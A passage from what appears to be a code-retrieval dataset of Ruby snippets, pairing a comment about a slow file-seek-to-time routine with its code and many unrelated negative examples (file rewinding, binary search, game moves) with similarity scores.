"def latest_file_index\n latest_index = 0\n latest_time = Time.at(0)\n (0..MAX_SAVE_SLOT-1).each do |i|\n filename = make_filename(i)\n next if !FileTest.exist?(filename)\n file_time = File.mtime(filename)\n if file_time > latest_time\n latest_time = file_time\n latest_index = i\n end\n end\n return latest_index\n end",
"def rewind\n @read_index = -1\n end",
"def search_backwards(file, backwards: T.unsafe(nil)); end",
"def read_tail(f)\n f.seek(0)\n f.readbytes(4).unpack('N').first\n end",
"def last_cmds(n=1)\n puts Readline::HISTORY.entries[-(n+1)..-2].join(\"\\n\")\nend",
"def rewind(f)\n #seeks for f at line 0\n f.seek(0)\n end",
"def rewind (f)\n f.seek(0)\nend",
"def digestPrevLogFile(logFileName)\n \n lastTimestep = 0\n # get ending step\n # keep looking until a valid ending is found\n logTail = `tail -n 20 #{logFileName}`\n #print logTail\n \n logLines = logTail.split(\"\\n\")\n logLines.each do |line|\n #print \"--- #{line}\\n\"\n if line =~ /WRITING VELOCITIES TO OUTPUT FILE AT STEP (\\d*)/ then\n lastTimestep = $1\n #print \"last timestep: #{lastTimestep}\\n\"\n end\n end\n \n # check to see whether the job completed correctly or not\n \n return lastTimestep\nend",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def rewind(f)\r\n f.seek(0)\r\nend",
"def last_alive(path)\n f = alive_file(path)\n f = terminated_file(path) unless File.exist? f\n c = File.read(f)\n return nil if c.nil? || c.empty?\n\n Time.parse(c)\n rescue Errno::ENOENT, ArgumentError\n return nil\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def rewind\n end",
"def last\n contents[contents.size - 1]\n end",
"def rewind\n end",
"def rewind(f)\n f.seek(8)\nend",
"def angry_spinlock(filename)\n\n step = File.open(File.join('data', filename)).map(&:strip).select{|line| !line.empty?}\n .first.to_i\n\n pos = 0\n size = 1\n last_at_1 = 0\n\n (1..50000000).each{|x|\n\n pos = ((pos + step) % size) + 1\n size += 1\n\n # Was this number (x) the latest to want to be written at position 1?\n if (pos == 1) then last_at_1 = x end\n\n }\n\n return last_at_1\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\n end",
"def rewind(f)\r\n\tf.seek(0)\r\nend",
"def rewind\n @file.rewind\n end",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n f.seek(0)\nend",
"def rewind(f)\n # '.seek()' command moves to the start of the file\n f.seek(0)\nend",
"def rewind(hank)\n# this utilizes the seek method attached to our file to do somethingIll get back to you on that \n hank.seek(0 , IO::SEEK_SET)\n#Ends the function \nend",
"def update_recent(file_name)\n # Read in the list of recently opened files\n recent_files = []\n File.open(RECENT_LOC, 'r') do |recent|\n recent_files = recent.read.split(\"\\n\")\n end\n\n # If file is already in recent_files, move it to the beginning\n # Otherwise, just add it to the beginning\n abs_path = File.expand_path(file_name)\n recent_files.delete(abs_path) if recent_files.include?(abs_path)\n recent_files.prepend(abs_path)\n\n # Write updated list of recent files back into file\n File.open(RECENT_LOC, 'w') do |recent|\n recent.puts recent_files.join(\"\\n\")\n end\n\n puts recent_files\nend",
"def rewind(f)\n # sets the line counter to 0\n f.seek(0)\n # end of function block\nend",
"def rewind(f)\n\t# I am not sure what .seek(0) does\n\tf.seek(0)\nend",
"def rewind(f)\n # every time you go f.seek(0) it brings you to the start of the file\n f.seek(0)\n# ends the function\nend",
"def rewind(f)\n f.seek(0) # .seek looks for an indexed part of the file, could use any number to place within a file.\nend",
"def process!\n # initialize values\n previous_state, previous_time = @input.readline.split(\" \")\n\n until @input.eof?\n state, time = @input.readline.split(\" \")\n\n # for the last state, always print the duration even if it hasn't flipped\n if @input.eof?\n duration = time.to_i - previous_time.to_i\n @output.puts \"#{previous_state} #{duration}\"\n break\n else\n # didn't flip in state, look ahead\n next if state == previous_state\n\n duration = time.to_i - previous_time.to_i\n @output.puts \"#{previous_state} #{duration}\"\n\n previous_state, previous_time = state, time\n end\n end\n rescue EOFError => e\n end",
"def reverse_readline\n raise BOFError.new(\"beginning of file reached\") if pos == 0\n\n seek_backwards_to(\"\\n\", 512, -2)\n new_pos = pos\n data = readline\n seek(new_pos)\n data\n end",
"def file_history_pop(file)\n file_history = $file_history.to_h\n current_history = file_history.pop\n file_history.each_pair do |index, file_name|\n if file_name == current_history\n $file_history.delete_field(\"#{index}\")\n break\n end\n end\n end",
"def rewind(f)\n #\"rewind\" file back to beginning\n f.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind(f)\n\tf.seek(0)\nend",
"def rewind\n @history_idx = -1\n end",
"def tail_file\n file_watch = FileWatch::Tail.new\n file_watch.tail( \"#{@path}*\" )\n file_watch.subscribe do |_, line|\n process_line( line )\n end\n end",
"def rewind(f)\n # seeks position 0 in the file ( the beginning of the file)\n f.seek(0)\n# ends the function\nend"
] |
[
"0.6491861",
"0.63410956",
"0.60770077",
"0.597135",
"0.59708893",
"0.58750296",
"0.58390456",
"0.5772574",
"0.5708681",
"0.56038016",
"0.55556464",
"0.55556464",
"0.55556464",
"0.55556464",
"0.5525236",
"0.5514578",
"0.55058163",
"0.5503089",
"0.5493834",
"0.5468655",
"0.5459435",
"0.5457021",
"0.5457021",
"0.5457021",
"0.5454275",
"0.54419506",
"0.5414411",
"0.5370034",
"0.533403",
"0.5327081",
"0.53243846",
"0.5324366",
"0.53182906",
"0.53052896",
"0.53052896",
"0.5289851",
"0.5284254",
"0.5284254",
"0.5284254",
"0.5284254",
"0.52815664",
"0.5273488",
"0.5267683",
"0.5266361",
"0.52614254",
"0.52614254",
"0.52614254",
"0.52614254",
"0.52614254",
"0.52614254",
"0.52614254",
"0.5255926",
"0.52549136",
"0.52404195",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5218813",
"0.5197265",
"0.5193649",
"0.51932096",
"0.5186508",
"0.51730335",
"0.5165954",
"0.51574427",
"0.51297754",
"0.5127976",
"0.5125141",
"0.5124959",
"0.5119747",
"0.5119747",
"0.5119747",
"0.5119747",
"0.51187587",
"0.51159996",
"0.51134104"
] |
0.70258874
|
0
|
This is hell slow. If it must be used (which I question), it will need some TLC. Would like to do binary search, but it'd be a pain to write dual cases for determining the right action when moving forward vs moving backwards toward it.
|
def file_seek_to_time(file, time_obj, logger)
file.seek(0, IO::SEEK_END)
end_pos = file.pos
file.rewind
file = seek_to_time_helper(file, time_obj, 0, end_pos, logger)
starting_line_pos = file.pos
file.each do |line|
if(line =~ NEW_ACTION_REGEX)
this_time = Time.parse($1)
if this_time >= time_obj
file.seek(starting_line_pos, IO::SEEK_SET)
break
end
end
starting_line_pos = file.pos
end
file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def walking_toward?\n return Direction::Down if (@current_tile_indx >= 0 and @current_tile_indx <= 2)\n return Direction::Up if (@current_tile_indx >= 9 and @current_tile_indx <= 11)\n return Direction::Left if (@current_tile_indx >= 3 and @current_tile_indx <= 5)\n return Direction::Right if (@current_tile_indx >= 6 and @current_tile_indx <= 8)\n end",
"def slow_dance(move, arr)\n arr.each_with_index do |dir, idx|\n return idx if move == dir\n end\nend",
"def next_move(bot_pos_x, bot_pos_y, princess_position)\n case\n when princess_position[0] - bot_pos_x < 0 then move = 'UP'\n when princess_position[0] - bot_pos_x > 0 then move = 'DOWN'\n when princess_position[1] - bot_pos_y < 0 then move = 'LEFT'\n when princess_position[1] - bot_pos_y > 0 then move = 'RIGHT'\n end\n move\nend",
"def fast_dance(direction, hash = {\"up\" => 0, \"right-up\" => 1, \"right\" => 2, \"right-down\" => 3, \"down\" => 4, \"left-down\" => 5, \"left\" => 6, \"left-up\" => 8})\n hash[direction]\nend",
"def left_or_right(move_index)\n case move_index\n when 2, 58\n castling_check_squares(3)\n when 6, 62\n castling_check_squares(2)\n end\n end",
"def two_way_search(max_depth)\n start_state = State.new(@buckets, [], @goal)\n end_goal = @goal.clone\n end_goal.fill(@goal.capacity)\n end_state = State.new(@buckets, [], end_goal)\n\n left_fringe_states = [start_state]\n right_fringe_states = [end_state]\n\n depth = 0\n # until fringes intersect\n while not (left_fringe_states.intersects?(right_fringe_states)) and depth <= max_depth do\n depth += 1\n # step right\n # puts \"left_fringe: #{left_fringe_states}\"\n left_state = left_fringe_states.delete_at(0)\n left_state.generate_possible_actions.each do |action|\n left_fringe_states << left_state.clone.apply_action(action)\n end\n\n\n # step left\n # puts \"right_fringe: #{right_fringe_states}\"\n right_state = right_fringe_states.delete_at(0)\n right_state.generate_possible_reverse_actions.each do |action|\n right_fringe_states << right_state.clone.apply_action(action)\n end\n\n end\n\n if (left_fringe_states.intersects?(right_fringe_states))\n # return left_fringe_states.intersection(right_fringe_states)\n state1, state2 = left_fringe_states.intersection(right_fringe_states)\n # puts state1\n # puts state2\n # action_list = state1.actions + state2.actions.reverse.map(&:invert)\n action_list = state1.actions + state2.invert\n warn action_list.join(\", \")\n warn 'return action_list'\n return action_list\n else\n nil\n end\n end",
"def direction_of(search_for) # 'search_for' should be a symbol of a 'space' method (empty? enemy? captive? etc.)\n DIRECTIONS.each do |direction|\n return direction if object_in_direction?(direction, search_for)\n end\n end",
"def search_index(arr, target, left = 0, right = arr.length - 1)\n return -1 if left > right # -1 means no found\n\n half = (left + right) / 2\n case target <=> arr[half]\n when 0\n half\n when -1\n search_index(arr, target, left, half - 1)\n when 1\n search_index(arr, target, half + 1, right)\n end\nend",
"def moves\n forward_steps + side_attacks\n end",
"def move(starting, goal)\n # your code here\n intermediate = (1..3).find { |n| n != starting && n != goal }\n \"#{starting}->#{intermediate} #{starting}->#{goal} #{intermediate}->#{goal}\"\nend",
"def look_at direction = nil\n return @direction if direction.nil?\n\n case @direction\n when :up \n target_direction = direction == :right ? :right : direction == :left ? :left : :down\n when :right \n target_direction = direction == :right ? :down : direction == :left ? :up : :left\n when :down \n target_direction = direction == :right ? :left : direction == :left ? :right : :up\n when :left \n target_direction = direction == :right ? :up : direction == :left ? :down : :right\n end\n target_direction\n end",
"def bsearch(array, target)\n mid_point = array.length / 2\n\n return mid_point if target == array[mid_point]\n return nil if array.length == 1\n\n left_hand = array[0...mid_point]\n right_hand = array[mid_point..-1]\n\n if target < array[mid_point]\n bsearch(left_hand, target)\n else\n result = bsearch(right_hand, target)\n return nil if result.nil?\n mid_point + result\n end\n\nend",
"def move_forward_two?(x_des, y_des)\n # Set forward direction based on piece color\n if y_position == 7\n direction = 1\n elsif y_position == 2\n direction = -1\n end\n\n # Subtract y_des and y_position, and check equality to 2 or -2 based on direction\n y_position - y_des.to_i == 2 * direction && no_forward_obstruction?(x_des, y_des)\n end",
"def fast_dance(step)\n dance_steps = {\n \"up\" => 0,\n \"right-up\" => 1,\n \"right\"=> 2,\n \"right-down\" => 3,\n \"down\" => 4,\n \"left-down\" => 5,\n \"left\" => 6,\n \"left-up\" => 7\n }\n\n dance_steps[step]\nend",
"def binary_search_iterative(array, target)\n# declare variables for low and high positions\nlow_index = 0\nhigh_index = array.length - 1\nmid_index = (high_index + low_index) / 2\n\n# while the low is less than the high\nwhile low_index <= high_index do\n\n return mid_index if target == array[mid_index]\n\n puts \"#{low_index} #{mid_index} #{high_index}\"\n\n if low_index == mid_index\n return high_index\n elsif target > array[mid_index]\n # move lower bound up to mid, recalculate new mid\n low_index = mid_index\n # set the high halfway between\n mid_index = (low_index + high_index) / 2\n elsif target < array[mid_index]\n # move upper bound to mid, recalculate new mid\n high_index = mid_index\n mid_index = (low_index + high_index) / 2\n end\n end\nend",
"def forward? a, b\n if @turn == 'w'\n true if b[0] < a[0]\n else\n true if b[0] > a[0]\n end\n end",
"def next_move_correct?(ary,attacking = false)\n diff1 = ary[0] - current_position[0]\n diff2 = ary[1] - current_position[1]\n if diff1 == 0 || diff2 == 0\n true\n else\n false\n end\n end",
"def transition_probability(state, action, next_state)\n if state == :stop || terminii.member?(state)\n action == :stop && next_state == :stop ? 1 : 0\n else\n # agent usually succeeds in moving forward, but sometimes it ends up\n # moving left or right\n move = case action\n when '^' then [['^', 0.8], ['<', 0.1], ['>', 0.1]]\n when '>' then [['>', 0.8], ['^', 0.1], ['v', 0.1]]\n when 'v' then [['v', 0.8], ['<', 0.1], ['>', 0.1]]\n when '<' then [['<', 0.8], ['^', 0.1], ['v', 0.1]]\n end\n move.map do |m, pr|\n m_state = [state[0] + MOVES[m][0], state[1] + MOVES[m][1]]\n m_state = state unless states.member?(m_state) # stay in bounds\n pr if m_state == next_state\n end.compact.inject(:+) || 0\n end\n end",
"def pbTurnTowardEvent(event,otherEvent)\n sx=0\n sy=0\n if $MapFactory\n relativePos=$MapFactory.getThisAndOtherEventRelativePos(otherEvent,event)\n sx = relativePos[0]\n sy = relativePos[1]\n else\n sx = event.x - otherEvent.x\n sy = event.y - otherEvent.y\n end\n if sx == 0 and sy == 0\n return\n end\n if sx.abs > sy.abs\n sx > 0 ? event.turn_left : event.turn_right\n else\n sy > 0 ? event.turn_up : event.turn_down\n end\nend",
"def attacking_direction\n mouse_x, mouse_y = @game_state.camera[0] + $window.mouse_x, @game_state.camera[1] + $window.mouse_y\n \n distance_from_x = (mouse_x - mid_point_x).abs\n distance_from_y = (mouse_y - mid_point_y).abs\n \n if distance_from_x > distance_from_y\n if mouse_x > mid_point_x\n :right\n else mouse_x < mid_point_x\n :left\n end\n else\n if mouse_y > mid_point_y\n :down\n else mouse_y < mid_point_y\n :up\n end\n end\n end",
"def moves_for_piece(board, src, check_forward=true)\n srcpiece = board[src[0]][src[1]]\n moves = []\n\n if srcpiece == 'b' or srcpiece == 'B'\n # check for down left jump\n if src[1] - 2 >= 0 and src[0] + 2 < board.length and src[1] - 2 >= 0\n r = src[0] + 2\n c = src[1] - 2\n\n if board[r][c] == ' ' and board[r - 1][c + 1].downcase == 'r'\n moves << [src, [r, c]]\n end\n end\n\n # check for down right jump\n if src[1] + 2 < board[0].length and src[0] + 2 < board.length and src[1] + 2 < board.length\n r = src[0] + 2\n c = src[1] + 2\n\n if board[r][c] == ' ' and board[r - 1][c - 1].downcase == 'r'\n moves << [src, [r, c]]\n end\n end\n\n # If the piece is a king\n if srcpiece == 'B'\n # check up left\n if src[1] - 2 >= 0 and src[0] - 2 >= 0 and src[1] - 2 >= 0\n r = src[0] - 2\n c = src[1] - 2\n\n if board[r][c] == ' ' and board[r + 1][c + 1].downcase == 'r'\n moves << [src, [r, c]]\n end\n end\n\n # check up right\n if src[1] + 2 <= board[0].length and src[0] - 2 >= 0 and src[1] + 2 < board.length\n r = src[0] - 2\n c = src[1] + 2\n\n if board[r][c] == ' ' and board[r + 1][c - 1].downcase == 'r'\n moves << [src, [r, c]]\n end\n end\n end\n\n elsif srcpiece == 'r' or srcpiece == 'R'\n # check for up left jump\n if src[1] - 2 >= 0 and src[0] - 2 >= 0 and src[1] - 2 >= 0\n r = src[0] - 2\n c = src[1] - 2\n\n if board[r][c] == ' ' and board[r + 1][c + 1].downcase == 'b'\n moves << [src, [r, c]]\n end\n end\n\n # check for up right jump\n if src[1] + 2 < board[0].length and src[0] - 2 >= 0 and src[1] + 2 < board.length\n r = src[0] - 2\n c = src[1] + 2\n\n if board[r][c] == ' ' and board[r + 1][c - 1].downcase == 'b'\n moves << [src, [r, c]]\n end\n end\n\n # If the piece is a king\n if srcpiece == 'R'\n # check down left\n if src[1] - 2 >= 0 and src[0] + 2 < board.length and src[1] - 2 >= 0\n r = src[0] + 2\n c = src[1] - 2\n\n if board[r][c] == ' ' and board[r - 1][c + 1].downcase == 'b'\n moves << [src, [r, c]]\n end\n end\n\n # check down right\n if src[1] + 2 <= board[0].length and src[0] + 2 < board.length and src[1] + 2 < board.length \n r = src[0] + 2\n c = src[1] + 2\n\n if board[r][c] == ' ' and board[r - 1][c - 1].downcase == 'b'\n moves << [src, [r, c]]\n end\n end\n end\n end\n \n # check for forward moves \n if moves.length == 0 and check_forward\n if srcpiece == 'b' or srcpiece == 'B'\n # check for down left jump\n if src[1] - 1 >= 0 and src[0] + 1 < board.length and src[1] - 1 >= 0\n r = src[0] + 1\n c = src[1] - 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # check for down right jump\n if src[1] + 1 < board[0].length and src[0] + 1 < board.length and src[1] + 1 < board.length\n r = src[0] + 1\n c = src[1] + 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # If the piece is a king\n if srcpiece == 'B'\n # check up left\n if src[1] - 1 >= 0 and src[0] - 1 >= 0 and src[1] - 1 >= 0\n r = src[0] - 1\n c = src[1] - 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # check up right\n if src[1] + 1 <= board[0].length and src[0] - 1 >= 0 and src[1] + 1 < board.length\n r = src[0] - 1\n c = src[1] + 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n end\n\n elsif srcpiece == 'r' or srcpiece == 'R'\n # check for up left jump\n if src[1] - 1 >= 0 and src[0] - 1 >= 0 and src[1] - 1 >= 0\n r = src[0] - 1\n c = src[1] - 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # check for up right jump\n if src[1] + 1 < board[0].length and src[0] - 1 >= 0 and src[1] + 1 < board.length\n r = src[0] - 1\n c = src[1] + 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # If the piece is a king\n if srcpiece == 'R'\n # check down left\n if src[1] - 1 >= 0 and src[0] + 1 < board.length and src[1] - 1 >= 0\n r = src[0] + 1\n c = src[1] - 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n\n # check down right\n if src[1] + 1 < board[0].length and src[0] + 1 < board.length and src[1] + 1 < board.length \n r = src[0] + 1\n c = src[1] + 1\n\n if board[r][c] == ' '\n moves << [src, [r, c]]\n end\n end\n end\n end\n end\n \n return moves \n end",
"def nextMove(n,r,c,grid)\n return false if n == 0 && grid.empty?\n\n bot_position = getBotPosition(n, grid)\n princess_position = findPrincessPosition(n, grid)\n\n bot = bot_position.flatten!\n princess = princess_position.flatten!\n\n return false unless bot[0] == r\n if bot[0] < princess[0]\n puts 'DOWN'\n elsif bot[0] > princess[0]\n puts 'UP'\n elsif bot[1] > princess[1]\n puts 'LEFT'\n elsif bot[1] < princess[1]\n puts 'RIGHT'\n end\nend",
"def move()\n if @direction == \"up\"\n move_up()\n elsif @direction == \"down\"\n move_down()\n else\n #check if anyone is on current floor- which way do majority want to go from here?\n @direction = people_on_current_floor()\n if @direction == \"up\" #were more ppl on this floor wanting to go up\n move_up()\n elsif @direction == \"down\"\n move_down()\n else #no one on this floor, decide direction based on pending rqsts above and below...\n decide_direction()\n end\n end\n end",
"def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def next_move_correct?(ary,attacking = false)\n movement_correct = false\n Possible_moves.each{|move|\n if (@current_position[0]+move[0]) == ary[0] && (@current_position[1]+move[1]) == ary[1]\n movement_correct = true\n break\n end\n }\n movement_correct\n end",
"def next_move_correct?(ary,attacking = false)\n movement_correct = false\n Possible_moves.each{|move|\n if (@current_position[0]+move[0]) == ary[0] && (@current_position[1]+move[1]) == ary[1]\n movement_correct = true\n break\n end\n }\n movement_correct\n end",
"def vector_to_direction(x, y)\n return 8 if y > 0 && x == 0\n return 2 if y < 0 && x == 0\n return 6 if x > 0 && y == 0\n return 4 if x < 0 && y == 0\n return 7 if y > 0 && x < 0\n return 1 if y < 0 && x < 0\n return 9 if y > 0 && x > 0\n return 3 if y < 0 && x > 0\n return 0\n end",
"def next_direction #:nodoc:\n loop do\n direction = @tries.pop\n nx, ny = @maze.move(@x, @y, direction)\n\n if @maze.valid?(nx, ny) && (@maze[@x, @y] & (direction | (direction << Maze::UNDER_SHIFT)) == 0)\n if @maze[nx, ny] == 0\n return direction\n elsif !@maze.dead?(@maze[nx, ny]) && @maze.weave > 0 && rand(100) < @maze.weave\n # see if we can weave over/under the cell at (nx,ny)\n return direction if @maze.weave_allowed?(@x, @y, nx, ny, direction)\n end\n end\n\n while @tries.empty?\n if @stack.empty?\n @pending = false\n return nil\n else\n @x, @y, @tries = @stack.pop\n end\n end\n end\n end",
"def move \n while true \n choose_next_position \n if [:found, :fail].include? @result\n break \n end\n end\n end",
"def find_moves(start, target)\n visited = breadth_first_search(start, target)\n moves = []\n find_coordinate = target\n visited.reverse.each do |vertex|\n vertex.neighbors.each do |coordinate|\n if coordinate == find_coordinate\n moves << vertex.key\n find_coordinate = vertex.key\n end\n end\n end\n moves.reverse << target\n end",
"def moveForward\n case @currentDir\n when :north\n incrementY\n when :south\n decrementY\n when :east\n incrementX\n when :west\n decrementX\n end\n\n #if new current position has obstacle, move back and report it\n if @grid.obstacles.include?(@currentPos)\n puts \"Cannot move forward. Obstacle present ahead at (#{@currentPos.x}, #{@currentPos.y})\"\n moveBackward\n return false\n end\n\n true\n end",
"def can_jump?(arr, current_idx, destination_idx)\n current_idx + arr[current_idx] >= destination_idx\nend",
"def slow_dance(direction, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if direction == dir\n end\nend",
"def walkthrough()\r\n choose_winner =false \r\n choose_winner= walkthrough_test( @turn[2])\r\n \r\n\t if choose_winner ==true\r\n\t return true\r\n\t else\r\n\t return false\r\n\t end \r\n \tend",
"def fast_dance(tile_direction, new_tiles_data_structure)\n new_tiles_data_structure.each do |ele|\n return new_tiles_data_structure.index(ele) if ele == tile_direction\n end\nend",
"def moves\n sliding_moves + jumping_moves\n end",
"def nav(vector) # called in :turn > active_piece.nav()\n # check vector*1\n # is on board?\n # if vacant, move\n # else check vector*2 (jump) --> jump if vacant\n # remove jumped piece from board \n # add jumped piece to captured array?\n # move again or set jump? true\n # check for :crown --> make king?\nend",
"def move(cakes, last)\n #last == 1 ? 2 : 1 # I'm not greedy\n if cakes == 1\n \n elsif cakes == 2\n \n else\n\n end\n end",
"def move_forward\n case @direction\n when 2\n move_down(false)\n when 4\n move_left(false)\n when 6\n move_right(false)\n when 8\n move_up(false)\n end\n end",
"def moves\n forward_steps + side_attacks\n end",
"def get_direction start_pos, end_pos\n difference = [end_pos[0] - start_pos[0], end_pos[1] - start_pos[1]]\n difference.map { |value| value <=> 0 }\n end",
"def backtrack\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # current x, y, target x, y and resulting path\n cx, cy, x, y, result = @tx, @ty, 0, 0, []\n # find the way back from destination to start\n loop do\n # change current coordinates\n cx, cy = cx - x, cy - y\n # stop if reached corrected start position\n break if cx == @sx && cy == @sy\n # add movement command\n pix.times {result.unshift(Cache::TDirs[@closed[cx, cy]])}\n # track back next node\n x, y = Cache::DirOffsets[@closed[cx, cy]]\n end\n # modify found path if pixel movement is being used\n modify(result) if pix > 1\n # return result\n return result\n end",
"def slow_dance(direction, array)\n array.each_with_index do |tile, idx|\n return idx if tile == direction\n end\n\n nil\nend",
"def slow_dance(direction, array)\n array.each_with_index do |el, idx|\n return idx if el == direction\n end\nend",
"def decide_direction()\n floors = @building.floors\n requests_below = 0\n #see how many people below, wanting to go up or down\n (1..@current_floor).each do |floor_num|\n f = floors[floor_num]\n if f.button_pairs[\"elevator#{@number}\"][\"up\"] == true || f.button_pairs[\"elevator#{@number}\"][\"down\"] == true\n requests_below += f.up_person_queue.size() + f.down_person_queue.size()\n end\n end\n requests_above = 0\n #see how many above wanting to go down or up\n (@current_floor..@building.number_of_floors).each do |floor_num|\n f = floors[floor_num]\n if f.button_pairs[\"elevator#{@number}\"][\"down\"] == true || f.button_pairs[\"elevator#{@number}\"][\"up\"] == true\n requests_above += f.up_person_queue.size() + f.down_person_queue.size()\n end\n end\n if requests_above == 0 && requests_below == 0\n @direction = \"stationary\"\n elsif requests_above > requests_below\n @direction = \"up\"\n move_up()\n else #requests_above <= requests_below\n @direction = \"down\"\n move_down()\n end \n end",
"def bsearch(array, target)\n # compare target value to middle element\n #if target value is == to middle elements value\n #return the position and end\n # if target value is less than middle value seach lower half of array\n # same goes for greater than (search upper half)\n # when it searches lower or upper half it keeps the same logic as the beginning\n # nil if not found; can't find anything in an empty array\n return nil if array.empty?\n\n index = array.length / 2\n # spaceship operator magic!\n case target <=> array[index]\n when -1 #search left side\n bsearch(array.take(index), target)\n when 0\n index\n when 1 #search right side\n answer = bsearch(array.drop(index + 1), target)\n answer.nil? ? nil : index + 1 + answer\n end\nend",
"def move(x, y)\n (x < 0 ? backward(-x) : (x > 0 ? forward(x) : '')) +\n (y < 0 ? down(-y) : (y > 0 ? up(y) : ''))\n end",
"def forward_move\n case @facing\n when 'NORTH'\n @y += 1\n when 'SOUTH'\n @y -= 1\n when 'EAST'\n @x += 1\n when 'WEST'\n @x -= 1\n end\n self\n end",
"def get_best_side_to_the_bomb\n return false if !check_for_a_bomb\n @captive_unit = nil\n @enemy_unit = nil\n warrior.listen.each do |unit|\n if Captives.include? unit.to_s.to_sym and unit.ticking? #Captive with bomb found\n if warrior.feel(warrior.direction_of(unit)).empty? or warrior.feel(warrior.direction_of(unit)).captive?\n puts \"Captive is accesible to the #{warrior.direction_of(unit)}\"\n return warrior.direction_of(unit)\n elsif warrior.feel(warrior.direction_of(unit)).enemy? or warrior.feel(warrior.direction_of(unit)).stairs?\n @enemy_unit = unit\n Directions.each do |dir|\n return dir if warrior.feel(dir).empty? and !warrior.feel(dir).wall? and\n !warrior.feel(dir).stairs? and dir != warrior.direction_of(@enemy_unit)\n !is_oposite_direction(dir, warrior.direction_of(unit)) \n end\n end\n end \n end\n return false\n end",
"def search_range(nums, target)\n output_range = [-1, -1]\n # try to go left\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, true)\n\n # go right\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, false)\n output_range\nend",
"def move(cakes, last)\n last == 1 ? 2 : 1 # I'm not greedy\n end",
"def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend",
"def move arr, pos\n while arr[pos] == -1\n pos += 1\n end\n pos\nend",
"def next_direction(current_direction, turn_direction)\n case turn_direction\n when \"L\"\n (current_direction - 1) % 4\n when \"R\"\n (current_direction + 1) % 4\n end\nend",
"def slow_dance(direction, tiles_array)\n tiles_array.each.with_index do |move, i|\n return i if move == direction\n end\nend",
"def standard_move?(x,y)\n return (x_diff(x) == 0) && (y_diff(y) == 1)\n end",
"def isValidWalk(walk)\n #your code here\n directions = {'n'=>0, 's'=>0, 'e'=>0, 'w'=>0}\n\n walk.each do |step|\n directions[step] += 1\n end\n\n if directions['n'] == directions['s'] && directions['e'] == directions['w']\n walk\n else\n false\n end\nend",
"def obstructed?(current_pos,other_pos,board)\n # debugger\n tester = other_pos\n # puts tester\n # sleep 2\n\n #\n # (-1..1).each do |i|\n # (-1..1).each do |j|\n\n\n if other_pos[0] > current_pos[0] #New position is below us\n if other_pos[1] > current_pos[1] #new position is on our right--bishop move\n tester[0] -= 1\n tester[1] -= 1\n until tester == current_pos\n # puts board.grid[tester[0]][tester[1]]\n # puts !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n # sleep 2\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n # return false if the piece at tester is not a nul piece\n tester[0] -= 1\n tester[1] -= 1\n end\n\n elsif other_pos[1] < current_pos[1] #new position on our left\n until tester == current_pos\n tester[0] -= 1\n tester[1] += 1\n return false if !board.grid[tester[0]][tester[1]].is_a?(Nul_piece)\n end\n elsif other_pos[1] == current_pos[1] #new position is on our level horizontally\n until tester == current_pos\n tester[1] -= 